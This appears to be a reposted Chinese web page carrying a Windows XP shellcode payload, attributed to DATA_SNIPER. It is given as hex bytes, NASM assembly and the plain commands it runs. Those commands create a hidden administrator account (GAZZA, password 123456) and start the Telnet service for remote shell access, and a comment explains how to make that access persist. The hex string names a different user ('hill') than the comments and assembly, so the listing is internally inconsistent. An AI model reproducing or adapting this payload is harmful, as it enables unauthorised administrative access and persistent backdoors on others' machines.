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杀毒防毒
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杀毒防毒 中的 shellcode增加管理员账户开telnet


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-20   浏览: 45 ::
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  ; payload:add admin acount & Telnet Listening
  ; Author: DATA_SNIPER
  ; size:111 bytes
  ; platform:WIN32/XP SP2 FR
  ; thanks:Arab4services team & AT4RE Team
  ; more info: visit my blog http://datasniper.arab4services.net
  ; The Sh3llcode:
  ; "\xEB\x08\xBA\x4D\x11\x86\x7C\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x6D\x64\x20\x2F\x63"
  ; "\x20\x6E\x65\x74\x20\x75\x73\x65\x72\x20\x68\x69\x6C\x6C\x20\x31\x32\x33\x34\x35"
  ; "\x36\x20\x2F\x41\x44\x44\x20\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63\x61\x6C\x67"
  ; "\x72\x6F\x75\x70\x20\x41\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x65\x75\x72\x73"
  ; "\x20\x68\x69\x6C\x6C\x20\x2F\x41\x44\x44\x20\x26\x26\x20\x73\x63\x20\x73\x74\x61"
  ; "\x72\x74\x20\x54\x6C\x6E\x74\x53\x76\x72\x00"
  ; Description: it's simular to TCP BindShell on port 23,throught Command execution we can get shell access throught telnet service on Windows b0x.
  ; Add admin account command user=GAZZA ,pass=123456 :cmd /c net user GAZZA 123456 /ADD && net localgroup Administrateurs GAZZA /ADD
  ; Start telnet service: sc start TlntSvr
  ; For saving ur access to the B0x again and again :),u can use this command:
  ; "sc config TlntSvr start= auto &  sc start TlntSvr" instead of:
  ; "sc start TlntSvr"
  ; NASM -s -fbin telnetbind.asm
  BITS 32
  db 0EBh,08h    ;such as "jmp Data" ,i puted it in opcode format for avoiding null problem.
  Exec:
  MOV EDX,7C86114Dh ;WinExec addr in WIN XP SP2 FR
  CALL EDX
  INT3 ;just interrupter (hung the shellcode after it do his job,any way u can use ExitProcess) for avoiding infinite loop
  Data:
  CALL Exec
  db 'cmd /c net user GAZZA 123456 /ADD & net localgroup Administrateurs GAZZA /ADD & sc start TlntSvr',00h
  ;add user GAZA with 123456 password and start telnet service ;BTW the exstension cuted for saving som byte ;)